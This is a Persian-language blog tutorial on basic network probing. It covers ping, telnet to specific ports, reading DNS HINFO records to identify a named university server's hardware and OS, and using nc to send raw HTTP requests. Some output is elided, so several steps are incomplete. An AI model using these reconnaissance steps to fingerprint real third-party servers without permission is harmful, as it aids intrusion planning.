باز و کدام بسته است - ping چيست ؟ ping ip-or-domain که به جای ip-or-domain بايد شماره ip و يا domain آن(اگر داشته باشد) را میگذاريم. Pinging sazin.com [63.148.227.65] with 32 bytes of data: اين نتايج نشان میدهد که sazin.com فعال است. Pinging 63.148.227.65 with 32 bytes of data: فرض کنيد که به يک ip که فعال نيست، ping کنيم: Pinging 217.66.196.1 with 32 bytes of data: که نشان میدهد که آن ip در آن لحظه فعال نيست. - چگونه به يک پورت Telnet کنيم؟ telnet hostname portnum در اين دستور بهجای hostname شماره ip و يا نام سايت را وارد میکنيد و بهجای portnum شماره پورت و يا معادل آن از جدول. مثلا برای تلنت کردن به پورت ۱۳ که ساعت و تاريخ را بهدست میدهد در کامپيوتری به اسم www.iums.ac.ir مينويسيد: telnet iums.ac.ir 13 هر دو اين دستورات معادل هم هستند. - ادامه بحث telnet iums.ac.ir. SOA sina.i........0 345600) تک تک سطرهای اين نتايج کاربرد دارد که خواهيم رسيد. الان فقط در مورد HIFNO صحبت میکنم که برای مشخص تر بودن در بالا به صورت کمی فرورفتهتر نوشتم. مثلا: sina.iums.ac.ir. HINFO Sun-SuperSPARC5/75 UNIX-Solaris-2.6 HIFNO برای تعيين نوع کامپيوتر و سيستمعامل سرور اهميت دارد. در اين سطر مشخص است که sina.iums.ac.ir از Sun-SuperSPARC5/75 UNIX-Solaris-2.6 استفاده میکند. عبور از پورت 80 پورت ۸۰ چيست؟ telnet www.hotmail.com 80 پس اول بايد يکی از دستورات بالا را استفاده کنيم. من هميشه توصيهام استفاده از nc بوده و خواهد بود. HTTP/1.0 302 Moved Temporarily
nc -v www.far30.com 80 < ali.txt که همان کارهای بالايی را انجام ميده. GET /startup/index.html HTTP/1.0 بعد دو تا Enter ميزنيم. nc -v www.site.com 80 > index.html (اين کاري که کرديم با موردي که در بالا نوشتيم فرق ميکنه! در بالا دستورات GET رو تو يه فايل مينوشتيم و ميفرستاديم که اجرا بشه ولي الان داريم نتايجي که بر ميگرده رو در يک فايل ذخيره ميکنيم!) ميشه اين دوتا رو ترکيب کرد مثلا نوشت: nc -v www.site.com 80 < dastoorat.txt > index.html نوشته شده در سه شنبه نوزدهم دی 1385 ساعت 1:4 توسط مینا |